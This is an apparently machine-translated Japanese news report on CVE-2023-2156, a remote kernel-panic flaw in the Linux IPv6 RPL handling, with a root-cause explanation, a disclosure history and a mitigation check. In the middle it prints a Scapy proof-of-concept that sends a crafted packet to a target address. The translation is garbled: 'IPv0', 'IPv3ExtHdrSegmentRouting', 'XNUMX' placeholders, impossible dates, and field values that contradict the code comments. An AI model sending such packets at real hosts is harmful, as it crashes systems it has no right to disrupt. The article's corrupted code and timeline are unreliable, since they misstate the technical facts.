リモート カーネル クラッシュを引き起こすゼロデイ Linux IPv0 スタックの脆弱性

Linux カーネルの未修正 (0 デイ) 脆弱性 (CVE-2023-2156) に関する情報が公開されました。この脆弱性により、特別に設計された IPv6 パケット (パケット オブ デス) を送信することでシステムが停止する可能性があります。 この問題は、RPL (低電力および損失の多いネットワーク用ルーティング プロトコル) プロトコルのサポートが有効になっている場合にのみ発生します。このプロトコルは、ディストリビューションではデフォルトで無効になっており、主にパケット損失の多いワイヤレス ネットワークで動作する組み込みデバイスで使用されます。

この脆弱性は、RPL プロトコル解析コードにおける外部データの誤った処理が原因で発生し、アサート障害が発生し、カーネルがパニック状態になります。 IPv6 RPL パケット ヘッダーの解析から取得したデータを k_buff (ソケット バッファ) 構造に配置するときに、CmprI フィールドが 15、Segleft フィールドが 1、CmprE が 0 に設定されている場合、アドレスを含む 48 バイトのベクトルが解凍されます。が 528 バイトまで増加し、バッファに割り当てられたメモリが十分ではない状況が発生します。 この場合、データを構造体にプッシュするために使用される skb_push 関数は、データのサイズとバッファーの間の非通約性をチェックし、バッファー境界を超える書き込みを防ぐためにパニック状態を生成します。

エクスプロイトの例: # Scapy を使用して scapy.all からパケットを作成します import * importソケット # LAN インターフェイスから IPv6 を使用します DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # ソケットを使用してパケットを送信します sockfd = socket.socket(socket.AF_INET6,socket.SOCK_RAW,socket.IPPROTO_RAW) #パケットを作成します #Type = 3 により、これは RPL パケットになります #Addresses には 3 つのアドレスが含まれますが、CmprI が 15 であるため、 #最初の 1 つのアドレスの各オクテットは圧縮アドレスとして扱われます # Segleft = 0 で増幅をトリガーします # lastentry = 0xf15 は CmprI を 0 に、CmprE を 6 に設定します p = IPv6(src=SRC_ADDR, dst=DST_ADDR) / IPv3ExtHdrSegmentRouting(type=8, Addresses=[”a7: :", "a6::", "a1::"], segleft=0, lastentry=0xf0) # この悪意のあるパケットを送信 sockfd.sendto(bytes(p), (DST_ADDR, XNUMX))

注目に値するのは、カーネル開発者がこの脆弱性について通知されたのは2022年15月に遡り、過去2022か月間で2022回問題の修正を試み、2023年XNUMX月、XNUMX年XNUMX月、XNUMX年XNUMX月にパッチをリリースしましたが、そのたびに修正は行われませんでした。不十分であり、脆弱性を再現できませんでした。 最終的に、この脆弱性を修正する作業を調整した ZDI プロジェクトは、カーネルで有効な修正が利用可能になるのを待たずに、脆弱性に関する詳細情報を公開することを決定しました。

したがって、脆弱性は依然として未修正のままです。 特に、6.4-rc2 カーネルに含まれるパッチは無効です。 ユーザーは、sysctl -a | コマンドを使用して、システムで RPL プロトコルが使用されていないことを確認することをお勧めします。 grep -i rpl_seg_enabled

出所: オープンネット.ru

コメントを追加します